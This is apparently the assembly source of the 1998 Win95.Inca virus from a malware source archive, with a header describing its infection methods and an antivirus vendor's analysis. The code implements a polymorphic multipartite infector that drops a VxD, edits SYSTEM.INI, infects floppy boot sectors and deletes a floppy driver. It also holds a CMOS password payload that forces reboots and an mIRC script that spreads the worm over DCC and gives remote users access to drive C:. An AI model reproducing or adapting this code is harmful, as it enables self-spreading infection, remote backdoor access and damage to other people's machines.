MalwareSourceCode/LegacyWindows/Win95/Win95.Inca.asm

2930 lines
92 KiB
NASM
Raw Permalink Normal View History

2020-10-10 02:54:36 +00:00
;[W95.INCA] Multipartite PE/BOOT polymorphic mIRC spreading infector
;Copyright 1998 (c) Vecna
;
;This is my first attempt at w95 plataform. Is a multipartite infector of PE
;filez, focused in fast spreading. It infect PE files by adding a new section
;randomly named and a polymorphic VxD-dropper. It infect ARJ/ZIP/RAR/LHA/PAK
;by adding a random named COM dropper, encripted by a polymorphic loop. It
;infect boot of floppies by adding a polymorphic loader to their boot sectorz.
;It spread over internet using DCC protocol provided by mIRC, using a worm to
;spread over channelz. In the internet part is also the payload activation.
;
;The polymorphic decriptor in PE files isnt based in math instructionz, but
;in swapping. This novel technic of encription should provide problemz to
;disinfection and detection i hope, as not the whole code is "encripted" , but
;just some chunkz. The polymorphic decriptor is filled by lotz of conditionalz
;and unconditional jumpz.
;
;The polymorphic engine that generate the droppers and the boot loader keep
;track of the contentz of all regz and flagz, as in advanced engines as
;Uruguay or Level3. This mean that if i need AX holding 0x0202, as for load 2
;sectorz in the boot loader, i can obtain this values using XOR AX, ??? or
;ADD AX, ??? and like.
;
;This source isnt compilable as is. Use the pre-compiled virus.
;
;
;Here's the description of w95/Inca by DrWeb, translated from russian to
;english by Lurker (thankz!!)
;
;
;Win95. Inca
;
; Dangerous resident polymorphic multipartite virus. Win95.Inca
; infects EXE files in a format of PE (Portable Executable) for
; operation systems Windows95/98 and boot sectors of floppy
; disks. And also Win95.Inca is a virus-worm for ARJ, LHA, LZH,
; PAK, RAR and ZIP-archives and for the mIRC32 program.
;
; When infected PE file is started, the virus receives management
; and polymorphic decryptor deciphers the base code of a virus.
; And this decoding is made by enough unusual way - in initial variant
; the base virus code will contatin the table of indexes or displacements
; of original bytes in the virus body. And it is necessary to understand
; that decoding in this case will be substitution or compilation
; original bytes on place of their one-byte indexes or displacements.
; After given "assembly" of the code, virus determines (by
; "already standard" for this type of viruses algorithm) the address
; of interesting for it functions in KERNEL32.DLL and creates
; a file C:\W95INCA.COM, in which file virus writes a polymorphic
; DOS COM dropper.
;
; This polymorphic 16bit DOS-code is already generated on infection of
; the PE EXE-file, and because of that any "additional efforts" for
; creation of a polymorphic copies on the given stage are not undertaken.
; Then the created file is closed.
; This dropper file is executed by the virus and then, after some delay,
; deleted. Further the virus returnes back management to the
; infected host PE-file.
; This is all actions, which carries out a virus code in the PE EXE-file.
; Therefore, it is possible to consider all infected PE EXE-files, as
; droppers.
;
; The C:\W95INCA.COM file, executed by the virus, determines Windows
; directory (WINDIR) and tries to create in the \WINDOWS\SYSTEM folder
; a file with the name FONO98.VXD.
; If this attempt is successful, the virus unpacks
; with the elementary algorithm, a code of the 32bit VxD-driver,
; which is contained inside of the 16bit DOS-code, and writes it in
; this newly created FONO98.VXD file.
;
; Further virus opens a configuration Windows file SYSTEM.INI, searches
; in it for the section "[386Enh]" and just below this line
; writes a line "device=fono98.vxd".
;
; After described manipulations, or, if the line "device=fono98.vxd"
; is already is present in the SYSTEM.INI, or file FONO98.VXD
; was created earlier in the \WINDOWS\SYSTEM folder, or,
; if it wasn't possible to find the WINDOWS folder, virus finishes its
; work and returns management to DOS.
;
; After the system reboot and on the next startof Windows virus
; VxD-driver FONO98.VXD is loaded by the system into a memory and
; runned.
;
; In a first task, the virus driver deletes system VxD-driver HSFLOP.PDR
; in the catalogue \WINDOWS\SYSTEM\IOSUBSYS folder. Then virus reads
; in memory a code from its own FONO98.VXD and creates in memory
; three different polymorphic copies: for infection PE EXE-files,
; for infection of boot-sectors of floppies and for creation of
; 16bit DOS droppers in a format of COM-files.
; Futher, in a current session, and untill the next system reboot,
; virus will infect the specified objects only with these copies.
;
; Win95.Inca concerns to a class of the "slow polymorpics".
; Further virus "intercepts" IFSMgr FileSystemApiHook and Int 13h
; (disk operations), establishing on them its own events handlers.
;
; IFSMgr handler of the virus supervises opening files. On the
; opening files with extensions EXE and SCR, virus checks their
; internal format, and if the opening files are Portable Executable,
; virus infects them, by creating additional code section with a
; random name in the header of PE-file and writing in its area virus
; polymorphic code. On opening of archive files with the extensions
; LHA, LZH, PAK, ZIP, ARJ or RAR, the virus adds to the given
; archives its 16bit polymorphic code (worm) in a format of COM-file,
; also modifies header of the archive files in such a manner that
; the this virus-worm appears placed in the archive in a unpacked
; form (store format) also receives a random name, consisting from
; four letters, and with the extension COM or EXE (for example, AAAA.COM
; or ABCD.EXE). On opening of the MIRC32.EXE file (program for
; "chat" over the Internet) the virus writes or adds in the end
; of the configuration file MIRC.INI, line " [fileserver]" and
; "Warning = Off".
;
; Also virus creates a new (if they exist on a disk) files SCRIPT.OLD,
; SCRIPT.INI, INCA.EXE and REVENGE.COM.
; In the file INCA.EXE, virus writes a code of the polymorphic 16bit
; virus-worm. In the file REVENGE.COM - 231 bytes of the trojan code,
; that rewrites the content of the CMOS-memory.
; [*Authors Note - It put a password in AMI/AWARD BIOS*]
;
; And in the file SCRIPT.INI virus writes text of the virus MIRC-worm.
;
; On start of the MIRC32.INI under scenario of the SCRIPT.INI,
; it runs the file INCA.EXE. Further under the same scenario it
; tries to send files SCRIPT.INI (mIRC-worm) and INCA.EXE (virus
; dropper) to computers of all members of the "chat conversation" in
; the Internet.
; If during the chat there will appaer a text string "El_inca",
; under the scenario of the SCRIPT.INI - trojan program REVENGE.COM
; will be launched. If somebody will "tell a word" "ancev",
; the virus script "will allow" him to access disk drive C:.
; Even if this person is for several thousand miles from the infected
; computer.
;
; And if at the time of "conversation" there will appear a text
; "_29A_", the program MIRC32.EXE will self-exits.
;
; Virus handler of the disk operations on the Int 13h, supervises
; the reading of the boot sectors of the floppes in the drive A:
; and on an opportunity infects them, by replacing the original
; boot loader with polymorphic, and writing on a disk its own
; copies.
;
; On a booting from such infected floppy, virus loader will
; receive management, and will read to memory all sectors with the
; virus code, "will intercept" Int 1Ch (timer), and then Int 21h.
; A task of the Int21h handler is simple - on the first
; opportunity, it tries to create FONO98.VXD in the
; C:\WINDOWS\SYSTEM folder and to register
; it in the SYSTEM.INI configuration file (in the "[386Enh]" section).
; The task is exactly the same, as well as performed by a
; C:\W95INCA.COM file-dropper, algorithm of which was
; described in the beginning.
; A difference only that the dropper C:\W95INCA.COM determines
; the lochation of Windows system folder fome a variable WINDIR.
; And Int21h handler tries to place dropper in the C:\WINDOWS\SYSTEM
; folder.
; After the given attempt (successful or not) the virus
; "releases" Int21h and neutralizes its own copy in memory.
;
; The virus contains text "El Inca virus".
;
; The size of the virus VxD-driver is 15327 bytes.
;
; So, all infected objects can be considered as virus-hosts or droppers,
; except created by the virus VxD-driver.
; This VxD-driver installs virus copy in memory, and hits all other
; objects. However you see that it does not infect
; "similar to itself" VxD-drivers. VxD-driver is only the carrier
; of an infection, but it is not an infected object.
;
MINSIZEINFECT EQU 8*1024 ;zopy me - i want to trawel
BPB STRUC
bpb_jmp db 3 dup (?)
bpb_oem db 8 dup (?)
bpb_b_s dw ?
bpb_s_c db ?
bpb_r_s dw ?
bpb_n_f db ?
bpb_r_e dw ?
bpb_t_s dw ?
bpb_m_d db ?
bpb_s_f dw ?
bpb_s_t dw ?
bpb_n_h dw ?
bpb_h_d dw ?
bpb_sht db 20h dup (?)
BPB ENDS
.386p
.XLIST
Include Vmm.Inc
Include Ifs.Inc
Include Ifsmgr.Inc
.LIST
Declare_Virtual_Device FONO98, 1, 0, FONO98_Control, Undefined_Device_ID,,,
VxD_Locked_Code_Seg
IncaName db 'INCA.EXE', 0 ;Vars used by the virus
NextHook dd 0
FileHandle dd 0
FileSize dd 0
FileAttr dd 0
Pad dd 0
BufferOneHandle dd 0
BufferTwoHandle dd 0
VxDCompressedBuffer dd 0
VxDCompressedSize dd 0
PolyBootSize dd 0
PolyBootBuffer dd 0
PolyDOSFileBuffer dd 0
PolyDOSFileSize dd 0
PolyPESize dd 0
PolyPEBuffer dd 0
VMF_handle dd 0
VMF_size dd 0
VMF_base dd 0
OurFile db 0
FloppyInUse db 0
UpDown db 0
Compressed db 0
CrpTbl db 200h dup (0)
SectorBuffer Equ This Byte
CrcTab db 2048 dup (0)
FileName Equ This Byte
VMM32Path db MAX_PATH dup (0)
ZIPRHeaderId db 'PK' ;Structures used when
ZIPRSignature db 01, 02 ;infecting archivers
ZIPRVerMade dw 10
ZIPRVerNeed dw 0ah
ZIPRFlags dw 0
ZIPRMethod dw 0
ZIPRTimeDate dd 12345678h
ZIPRCRC32 dd 0
ZIPRCompressed dd 0
ZIPRUncompressed dd 0
ZIPRSizeFilename dw ZIPRNameLenght
ZIPRExtraField dw 0
ZIPRCommentSize dw 0
ZIPRDiskNumba dw 0
ZIPRInternalAttr dw 01
ZIPRExternalAttr dd 21h
ZIPROffsetLHeaderR dd 0
ZIPRFilename db 'AAAA.COM'
ZIPRNameLenght Equ This Byte - offset32 ZIPRFilename
ZIPRHeaderSize Equ This Byte - offset32 ZIPRHeaderId
ZIPLHeaderId db 'PK'
ZIPLSignature dw 0403h
ZIPLVersionNeed dw 0010
ZIPLFlags dw 80h
ZIPLMethod dw 0
ZIPLDateTime dd 12345678h
ZIPLCRC32 dd 0
ZIPLCompressed dd 0
ZIPLUncompressed dd 0
ZIPLSizeFilename dw ZIPLNameLenght
ZIPLExtraField dw 0
ZIPLFilename db 'AAAA.COM'
ZIPLNameLenght Equ This Byte - offset32 ZIPLFilename
ZIPReadBuffer Equ This Byte
ZIPEHeaderId db 'PK'
ZIPSignature dw 0
ZIPNoDisk dw 0
ZIPNoStartDisk dw 0
ZIPEntryDisk dw 0
ZIPEntrysDir dw 0
ZIPSizeDir dd 0
ZIPOffsetDir dd 0
ZIPCommentLenght dw 0
ZIPEHeaderSize Equ This Byte - offset32 ZIPEHeaderId
ARJHeaderId dw 0ea60h
ARJHeaderSize dw offset32 ARJHeaderCRC-offset32 ARJ1HeaderSize
ARJ1HEaderSize db offset32 ARJFilename-offset32 ARJ1HeaderSize
ARJVersionDone db 6
ARJVersionNeed db 1
ARJHostOS db 0
ARJFlags db 0
ARJMethod db 0
ARJType db 0
ARJReserved db 0
ARJDateTime dd 12345678h
ARJCompressedSize dd 0
ARJUncompressedSize dd 0
ARJFileCRC dd 0
ARJEntryname dw 0
ARJAccessMode dw 21h
ARJHostData dw 0
ARJFilename db 'AAAA.COM',0
ARJComment db 0
ARJHeaderCRC dd 0
ARJExtHeader dw 0
ARJEnd dw 0ea60h, 0000h
RARHeaderCRC dw 0
RARHeaderType db 74h
RARFileFlags dw 08000h
RARHeaderSize dw offset32 RARHeaderEnd - offset32 RARHeaderCRC
RARCompressedSize dd 0
RARUncompressedSize dd 0
RARHostOS db 0
RARFileCRC dd 0
RARDateTime dd 12345678h
RARVersionNeed db 14h
RARMethod db 30h
RARFileNameSize dw offset32 RARHeaderEnd - offset32 RARFileName
RARFileAttribute dd 21h
RARFileName db 'AAAA.COM'
RARHeaderEnd Equ This Byte
LHASig db LHAHeaderSize-2
LHAHeaderCRC db 0
LHAMethod db '-lh0-'
LHACompressedSize dd 0
LHAUncompressedSize dd 0
LHADateTime dd 12345678h
LHAFlags dw 120h
LHANameLenght db offset32 LHASizeFilename - offset32 LHAFilename
LHAFilename db 'AAAA.COM'
LHASizeFilename Equ This Byte
LHACRC16 dw 0
LHAStuff db 'M'
LHAStuff2 dw 0
LHAHeaderSize Equ This Byte - offset32 LHASig
MyVxDName db "FONO98.VXD",0
SizeVxDName Equ This Byte - offset32 MyVxDName
FloppyVxD db "IOSUBSYS\HSFLOP.PDR", 0
SizeFloppyVxDName Equ This Byte - offset32 FloppyVxD
BootLoaderSize Equ BootLoaderEnd-BootLoader
BootLoader: ;This code is inserted in
cli ;0/1/15 in 1.44 floppies
xor ax, ax
mov ss, ax
mov sp, 7c00h ;It is loaded by the
sti ;polymorphic loader inserted
cld ;in the boot code
mov ds, ax
dec word ptr ds:[413h]
int 12h ;reserve 1kb and copy ourself
ror ax, 10 ;to the reserved hole
mov es, ax
call delta
delta:
pop si
push ds
sub si, offset delta ;full of bugs and hardcoded
xor di, di ;references, as you can see :(
push cs
mov cx, 200h
pop ds
rep movsw ;copy 1kb of code
pop ds
push es
push offset hstart
retf ;continue in TOM
hstart:
xor ax, ax
mov es, ax
mov ax, 0201h
mov cx, 0001h
mov dx, 0180h
mov bx, 7c00h
int 13h ;read HDD boot sector
cmp word ptr [bx+3h], 'SM'
jne fuck
cmp word ptr [bx+1f1h], 'IW'
jne fuck
xor eax, eax
mov ds, ax
mov dword ptr ds:[21h*4], eax ;initialize int21
mov ax, offset int1c
mov si, 1ch*4
mov di, offset old1c
cli
xchg ax, word ptr ds:[si]
push cs
pop es
stosw
mov ax, cs
xchg ax, word ptr ds:[si+2] ;hook int1c
stosw
sti
fuck:
cld
xor ax, ax
mov di, offset loader
mov cx, offset fuck-offset loader
rep stosb ;wipe some parts of loader
db 0eah ;from memory to reduce
dw 7c00h ;footprints
dw 0
Zopy0:
push cs
cld
mov di, offset int1c
mov cx, offset int1c-offset e_vxd
sub ax, ax
pop es
rep stosb ;wipe all virus loader code
no_4b00: ;(less some bytes)
popad
pop es
pop ds
int 0ffh
retf 2
int1c:
push ds
pushad
push 0
pop ds
mov cx, word ptr ds:[21h*4+2]
db 081h, 0f9h ;cmp cx, 0
dw 0
i1c_check equ word ptr $ -2
je not_yet ;did int21 seg changed?
mov word ptr cs:[i1c_check], cx
mov cx, 0
time_2 equ word ptr $ -2
inc word ptr cs:[time_2] ;increase number of changes
cmp cl, 3
jnz not_yet ;changed 3 times?
mov esi, 21h*4
mov edi, 0ffh*4
mov eax, dword ptr ds:[esi]
mov dword ptr ds:[edi], eax ;copy int21 to int0ff
mov ax, cs
rol eax, 16
mov ax, offset int21
mov dword ptr ds:[esi], eax ;hook int21 to our code
mov eax, dword ptr cs:[old1c]
mov dword ptr ds:[1ch*4], eax ;restore int1c
not_yet:
popad
pop ds
db 0eah
old1c dd 0
read_vxd:
mov ax, 8000h ;if the floppy was retired,
mov ds, ax ;shit happen... :(
mov es, ax
sub bx, bx
mov dx, 0000h
call read_last_track ;read 79/0/1 and 79/1/1 to
jc error ;mem
mov dx, 0100h
add bx, (18*512)
read_last_track: ;init FDD controller
sub ax, ax
int 13h
mov ax, 0212h
mov cx, 4f01h
int 13h ;read track(head is selected
error: ;above)
ret
int21:
push ds
push es
pushad
push 0
pop ds
cmp ax, 4b00h ;is first exec?
jne no_4b00
mov eax, dword ptr ds:[0ffh*4]
mov dword ptr ds:[21h*4], eax ;restore int21
cld
call infect_system ;drop our vxd
jmp Zopy0 ;and wipe loader out of mem
infect_system:
call read_vxd
jc error
sub si, si ;RLE compressed vxd is in mem
mov di, ((18*512)*2)
mov cx, word ptr cs:[c_vxd]
call uncompress16 ;uncompress VXD
push cs
pop ds
call vxd
db 'C:\WINDOWS\SYSTEM\FONO98.VXD', 0
vxd: ;when i said hardcoded
pop dx ;reference, is this i mean :((
mov ah, 5bh
mov cx, 11b
int 0ffh ;only create if not exists
jc error
xchg ax, bx
push es
pop ds
mov cx, word ptr cs:[e_vxd]
mov ah, 40h
mov dx, ((18*512)*2)
int 0ffh ;write uncompressed vxd
jc close
mov ah, 3eh
int 0ffh
push cs
call system
db 'C:\WINDOWS\SYSTEM.INI', 0 ;another hardcoded reference :(
system:
pop dx
pop ds
mov ax, 3d02h
int 0ffh ;modify system.ini
jc error
mov ax, 8000h
mov ds, ax
sub dx, dx
mov ah, 3fh
mov cx, -1
int 0ffh
jc close ;read whole system.ini
push cs
pop es
mov si, dx
mov di, offset enh386
mov cx, 10
search:
push di
push si
push cx
rep cmpsb ;search for [Enh386] section
je found
pop cx
pop si
pop di
inc si
dec ax
jnz search
jmp close
found:
add sp, 6
mov di, ax
pusha
mov di, offset device
mov cx, 19
rep cmpsb ;we are already registered?
popa
je close
mov dx, si
mov ax, 4200h
int 0ffh
jc close
mov ah, 40h
mov cx, 19
mov dx, offset device
int 0ffh ;write our device line
jc close
mov ah, 40h
mov cx, di
mov dx, si
int 0ffh ;and rest of file
close:
mov ah, 3eh
int 0ffh
ret
uncompress16:
mov dx, di ;RLE decompression
push dx
mov bx, si
add bx, cx
next:
lodsb
or al, al
jne store
lodsw
mov cx, ax
xor ax, ax
rep stosb
dec di
store:
stosb
cmp di, 0ff00h
ja abortnow ;a safeguard to avoid mem
cmp si, bx ;overwriting
jbe next
abortnow:
pop bx
mov cx, di
sub cx, bx
ret
enh386 db '[386Enh]', 13, 10
device db 'device=fono98.vxd', 13, 10
VxDCompressSize dw 0
VxDOriginalSize dw 0
BootLoaderEnd Equ This Byte
LoaderSize Equ LoaderEnd-Loader
InfectWindows95 PROC ;This code is the main dropper
call Delta ;for the viral VXD
Delta:
pop bp
sub bp, offset Delta
mov es, es:[2ch] ;get environment
mov di, -1
SearchWINDIR:
inc di
cmp di, 1024
jae ReturnBack
cmp byte ptr es:[di], 'w' ;found a 'w'?
jne SearchWINDIR
push si
push di
lea si, [bp+offset WinDir]
mov cx, 7
rep cmpsb ;check if is windir=
pop di
pop si
jne SearchWINDIR ;if not, keep searching
add di, 7
mov word ptr [bp+WinDX], di
mov word ptr [bp+WinDS], es ;save windows directory
push es
pop ds
mov si, di
push cs
pop es
lea di, [bp+offset Buffer]
NextLetter:
lodsb
or al, al
je CopyString
stosb
jmp NextLetter ;copy win95 dir to buffer
CopyString:
push cs
pop ds
lea si, [bp+offset SysDir]
NextLetterAgain:
lodsb
stosb
or al, al
jnz NextLetterAgain ;append path and vxd name
push cs
push cs
pop es
pop ds
mov ah, 5bh
mov cx, 011b
lea dx, [bp+offset Buffer]
int 21h ;create vxd if it not exists
jc ReturnBack
push ax
lea si, [bp+offset EndLoader]
mov di, si
add di, 30000
mov cx, word ptr [bp+VxDSize1]
call Uncompress16 ;uncompress vxd
pop bx
mov ah, 40h
mov cx, word ptr [bp+VxDSize2]
int 21h ;write vxd
jc Close
mov ah, 3eh
int 21h
InfectSYSTEMINI:
mov si, word ptr [bp+WinDX]
mov ds, word ptr [bp+WinDS]
lea di, [bp+offset Buffer]
NextLtr:
lodsb
or al, al
je CopyStr
stosb
jmp NextLtr ;copy windows dir to buffer
CopyStr: ;again
push cs
pop ds
lea si, [bp+offset SysIni] ;append system.ini
NxtLetter:
lodsb
stosb
or al, al
jnz NxtLetter
mov ax,3d02h
lea dx, [bp+offset Buffer]
int 21h
jc ReturnBack ;open system.ini
xchg ax, bx
mov ah, 3fh
mov cx, -1
lea dx, [bp+offset VxDHere]
int 21h
jc Close
mov si, dx
lea di, [bp+offset Enh386]
mov cx, 10
Search:
push di
push si
push cx
rep cmpsb ;search for right section
je Found
pop cx
pop si
pop di
inc si
dec ax
jnz Search
jmp Close
Found:
add sp, 6
mov di, ax
pusha
lea di, [bp+offset Device]
mov cx, 19
rep cmpsb ;already infected?
popa
je Close
mov dx, si
sub dx, offset VxDHere
sub dx, bp
mov ax, 4200h
int 21h
jc Close
mov ah, 40h
mov cx, 19
lea dx, [bp+offset Device]
int 21h ;write our device line
jc Close
mov ah, 40h
mov cx, di
sub cx, 10h
mov dx, si
int 21h
Close:
mov ah, 3eh
int 21h
ReturnBack:
mov ax, 4c00h
int 21h ;exit to DOS
Uncompress16:
mov dx, di
push dx ;uncompress RLE
mov bx, si ;(hmm... a bit redundant...)
add bx, cx
Next:
lodsb
or al, al
jne Store
lodsw
mov cx, ax
xor ax, ax
rep stosb
dec di
Store:
stosb
cmp di, 0ff00h
ja AbortNow
cmp si, bx
jbe Next
AbortNow:
pop bx
mov cx, di
sub cx, bx
ret
Enh386 db '[386Enh]', 13, 10
Device db 'device=fono98.vxd', 13, 10
WinDir db 'windir='
SysIni db '\SYSTEM.INI', 0
SysDir db '\SYSTEM\'
VxDName db 'FONO98.VXD',0
WinDS dw 0
WinDX dw 0
UpDown db 0
Compressed db 0
Buffer db 64 dup(0)
VxDSize2 dw 0
VxDSize1 dw 0
EndLoader Equ This Byte
VxDHere Equ This Byte
LoaderEnd Equ This Byte
BeginProc Compress32
mov edx, esi ;compressor of modificated RLE
add edx, ecx ;coded in 32bit
xor eax, eax
xor ecx, ecx
push edi
@1:
lodsb
or al, al
jnz @2
inc ecx
jmp @1
@2:
or ecx, ecx
jz @4
@5:
push eax
xor eax, eax
stosb
xchg eax, ecx
stosw
pop eax
@4:
stosb
@6:
cmp esi, edx
jbe @1
@3:
pop edx
mov ecx, edi
sub ecx, edx
ret
EndProc Compress32
Killer db 'REVENGE.COM', 0
KCode Equ This Byte
Payload:
push 0f000h ;our copyrighted payload :)
pop es
xor di, di
mov cx, -1
scan:
pusha
mov si, offset award
mov cx, 5
repe cmpsb ;search ROM for AWARD signature
popa
jz award_psw
inc di
loop scan
mov ax, 002fh ;if not found, assume AMI BIOS
call read
mov bx, ax
mov al, 2dh
call step1
or al, 00010000b ;Put a random password in CMOS
call step2 ;memory, for ask it always,
mov al, 2fh ;and correct checksum
mov dh, bl
call write
mov al, 3eh
call read
mov ah, al
mov al, 3fh
call read
mov bx, ax
mov ax, 0038h
call rndpsw
mov al, 39h
call rndpsw
mov dh, bh
mov al, 3eh
call write
mov dh, bl
mov al, 3fh
call write
jmp hehehe
award_psw:
mov ax, 002fh
call read
mov bx, ax ;Put the password in CMOS
mov al, 11h ;for AWARD BIOS machines
call step1
or al, 00000001b
call step2
mov al, 1bh
call step1
or al, 00100000b
call step2
mov al, 2fh
mov dh, bl
call write
mov al, 7dh
call read
mov ah, al
mov al, 7eh
call read
mov bx, ax
mov ax, 0050h
call rndpsw ;for ask always, and correcting
mov al, 51h ;the checksum, of course :)
call rndpsw
mov dh, bh
mov al, 7dh
call write
mov dh, bl
mov al, 7eh
call write
hehehe:
sti ;reboot machine, so the user
mov al, 0feh ;notice the payload soon ;)
out 64h, al
jmp hehehe
read:
and al, 7fh ;CMOS read
out 70h, al
jmp $+2
jmp $+2
in al, 71h
ret
write:
and al, 7fh ;CMOS write
out 70h, al
jmp $+2
mov al, dh
out 71h, al
ret
rndpsw: ;make random password but
mov dh, al ;mantain correct checksum
call read
sub bx, ax
in al, 40h
add bx, ax
xchg al, dh
call write
ret
step1:
mov dh, al ;checksum
call read
sub bx, ax
ret
step2: ;checksum
add bx, ax
xchg al, dh
call write
ret
award db 'AWARD'
KCodeSize Equ $ - KCode
ScriptSize Equ ScriptIniEnd - ScriptIni
ScriptIni:
[script]
n0=run $mircdirinca.exe ;run virus dropper when mIRC
;start
n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }
n2= /dcc send $nick $mircdirscript.ini
n3= /dcc send $nick $mircdirinca.exe
n4=}
n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }
n6= /dcc send $nick $mircdirscript.ini
n7= /dcc send $nick $mircdirinca.exe
n8=} ;on /JOIN and /LEAVE, we send
;the script and the virus
;dropper to the target
n9=ON 1:TEXT:*el_inca*:#:/run $mircdirrevenge.com
;when this is said, the souls
;of thousands of dead Inca
;indians come to take revenge
n10=ON 1:TEXT:*ancev*:#:/fserve $nick 666 c:\
;just for the case that the
;host have something i want ;)
n11=ON 1:TEXT:*_29A_*:#:/quit
;everybody bow in awe before
;our power!!
ScriptIniEnd Equ This Byte
ScriptName db 'SCRIPT.INI', 0
ScriptName2 db 'SCRIPT.OLD', 0
MircIni db 'MIRC.INI', 0
InsertSize Equ IMircIniEnd - IMircIni
IMircIni:
db 13, 10 ;this is inserted in MIRC.INI
db '[fileserver]', 13, 10 ;to avoid warnings when we
db 'Warning=Off', 13, 10 ;start the /FSERVER
IMircIniEnd Equ This Byte
BeginProc FONO98_Device_Init
VMMCall Close_Boot_Log
xor al, al
mov [OurFile], al
mov [UpDown], al
mov [Compressed], al
mov [FloppyInUse], al ;init flags
in ax, 40h
ror eax, 16
in ax, 40h
mov dword ptr [seed], eax ;init rnd seed
mov esi, offset32 ScriptIni
mov edi, esi
mov ecx, ScriptSize
DecriptScript:
lodsb
not al ;decript viral script.ini
stosb
loop DecriptScript
GetPathToVMM:
cld
VMMCall Get_Exec_Path
jc ErrorDone
mov edi, edx
mov ecx, 0ffh
xor al, al
repne scasb ;find end of string
sub edi, edx
mov ecx, edi
mov edi, edx
mov esi, offset32 VMM32Path
pushad
xchg esi, edi
push ecx
rep movsb ;copy it to our buffer
std ;(next time i will use
pop ecx ;GetSystemPath, i swear ;)
mov al, "\"
repne scasb
cld
inc edi
inc edi
DeleteFloppyVxD:
pushad
mov esi, offset32 FloppyVxD
mov ecx, SizeFloppyVxDName
rep movsb ;HSFLOP.PDR
mov eax, R0_FILEATTRIBUTES+SET_ATTRIBUTES
xor ecx, ecx
mov esi, offset32 VMM32Path
VxDCall IFSMgr_Ring0_FileIO ;kill attribs and delete the
mov eax, R0_DELETEFILE ;32bit driver for floppies
VxDCall IFSMgr_Ring0_FileIO
popad
CopyMyVxDName:
mov esi, offset32 MyVxDName
mov ecx, SizeVxDName
rep movsb ;append viral vxd and path
popad
ReadVxDAndCompress:
mov eax, R0_OPENCREATFILE
mov ebx, 0ff00h
xor ecx, ecx
mov edx, 1
VxDCall IFSMgr_Ring0_FileIO
jc ErrorDone ;autopen vxd
mov ebx, eax
mov eax, R0_GETFILESIZE
VxDCall IFSMgr_Ring0_FileIO
jc ErrorDone
mov [VxDOriginalSize], ax
mov [VxDSize2], ax
mov ecx, eax
call AllocMemory ;alloc some memory and read
jz ErrorDone ;our vxd to this buffer
mov [BufferOneHandle], eax
mov esi, eax
mov eax, R0_READFILE
xor edx, edx
VxDCall IFSMgr_Ring0_FileIO
jnc NoError
ErrorFreeBlock:
mov eax, [BufferOneHandle]
call DeAllocMemory
jmp ErrorDone
NoError:
mov eax, R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
mov ecx, (512*18)*2
call AllocMemory
jz ErrorDone
mov [BufferTwoHandle], eax
mov esi, [BufferOneHandle]
mov edi, eax
mov [VxDCompressedBuffer], edi
call Compress32 ;compress VXD using a simple
mov [VxDCompressSize], cx ;RLE scheme
mov [VxDCompressedSize], ecx
mov [VxDSize1], cx
mov esi, [BufferOneHandle]
push esi
mov byte ptr [maq], 0
call gldr ;make poly boot (16bit)
pop ecx
xchg ecx, edi
sub ecx, edi
mov [PolyBootSize], ecx
mov edx, [BufferOneHandle]
push HEAPNOCOPY
push ecx
push edx
VMMCall _HeapReAllocate ;set buffer to right size
add esp, 12
mov [PolyBootBuffer], eax
mov ecx, 20000
call AllocMemory
jz ErrorDone
mov esi, eax
push eax
mov byte ptr [maq], -1
call gldr ;generate file poly (16bit)
mov ah, byte ptr [key]
mov esi, offset32 Loader
mov ecx, LoaderSize
DosEncriptLoop:
lodsb
xor al, ah
stosb
loop DosEncriptLoop ;encript loader
mov esi, [VxDCompressedBuffer]
mov ecx, [VxDCompressedSize]
DosEncriptLoop2:
lodsb
xor al, ah
stosb
loop DosEncriptLoop2 ;zopy and encript vxd
pop ecx
mov edx, ecx
xchg ecx, edi
sub ecx, edi
mov [PolyDOSFileSize], ecx
mov [PEDOSSize], ecx
push HEAPNOCOPY
push ecx
push edx
VMMCall _HeapReAllocate
add esp, 12
mov [PolyDOSFileBuffer], eax
mov ecx, 40000
call AllocMemory
jz ErrorDone
mov edi, eax
mov ecx, [PolyDOSFileSize]
add ecx, PELoaderSize
call peng ;make our cool PE poly (32bit)
push HEAPNOCOPY
mov [PolyPESize], ecx
push ecx
push edx
VMMCall _HeapReAllocate
add esp, 12
mov [PolyPEBuffer], eax
InstallAPIHook:
mov eax, offset32 FONO98_File_System
push eax ;install our file hook
VxDCall IFSMgr_InstallFileSystemApiHook
add esp, 4
mov [NextHook], eax
InstallV86Hook:
mov eax, 13h ;install our disk hook
mov esi, offset32 FONO98_Disk_System
VMMCall Hook_V86_Int_Chain
clc
db 0b0h ;from here, is a mov al, xx
ErrorDone:
db 0fdh ;from here, is a stc ;)
ret
EndProc FONO98_Device_Init
BeginProc FONO98_Disk_System
pushad
cmp [FloppyInUse], 0
jne Exit13Error ;dont reenter
inc [FloppyInUse]
cmp [OurFile], 0 ;we're infecting?
jnz Exit13
movzx eax, word ptr [ebp.Client_AX]
movzx ecx, word ptr [ebp.Client_CX]
movzx edx, word ptr [ebp.Client_DX]
cmp ax, 201h
jne Exit13
cmp cx, 1
jne Exit13
or dx, dx
jnz Exit13 ;if not floppy boot, exit
InfectBoot:
mov ebx, offset32 SectorBuffer
VxDInt 13h
jc Exit13
mov ax, word ptr [ebx]
cmp al, 0ebh ;if sector dont start with a
jne Exit13 ;short jump, bail out
movzx eax, ah
lea eax, [ebx+eax+2] ;calculate destination of
cmp word ptr [ebx+1feh], 0aa55h ;jump(to insert out code)
jne Exit13
cmp word ptr [ebx.bpb_t_s], 2880 ;is a valid 1.44 floppy?
jne Exit13
sub word ptr [ebx.bpb_t_s], 18*2 ;steal 36 sectorz
push eax
mov ecx, [PolyBootSize]
add eax, ecx
sub eax, ebx
cmp eax, 510
pop edi
jae Exit13 ;will our code use more space
mov esi, [PolyBootBuffer] ;than we have?
rep movsb
mov eax, 301h ;write our cool boot sector
inc ecx
VxDInt 13h
jc Exit13
mov eax, 312h
sub edx, edx
mov ecx, 4f01h
mov ebx, [VxDCompressedBuffer]
VxDInt 13h ;write first part of compressed
jc Exit13 ;VXD
mov eax, 312h
mov edx, 100h
mov ecx, 4f01h
mov ebx, [VxDCompressedBuffer]
add ebx, 512*18 ;write the second part of it
VxDInt 13h
jc Exit13
mov eax, 0302h
mov edx, 0100h
mov ecx, 000fh ;write loader to the end of the
mov ebx, offset32 BootLoader ;root directory
VxDInt 13h
jc Exit13
Exit13:
mov [FloppyInUse], 0
Exit13Error:
popad
stc ;service not finished
ret
EndProc FONO98_Disk_System
BeginProc FONO98_File_System, High_Freq
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+12], IFSFN_Open
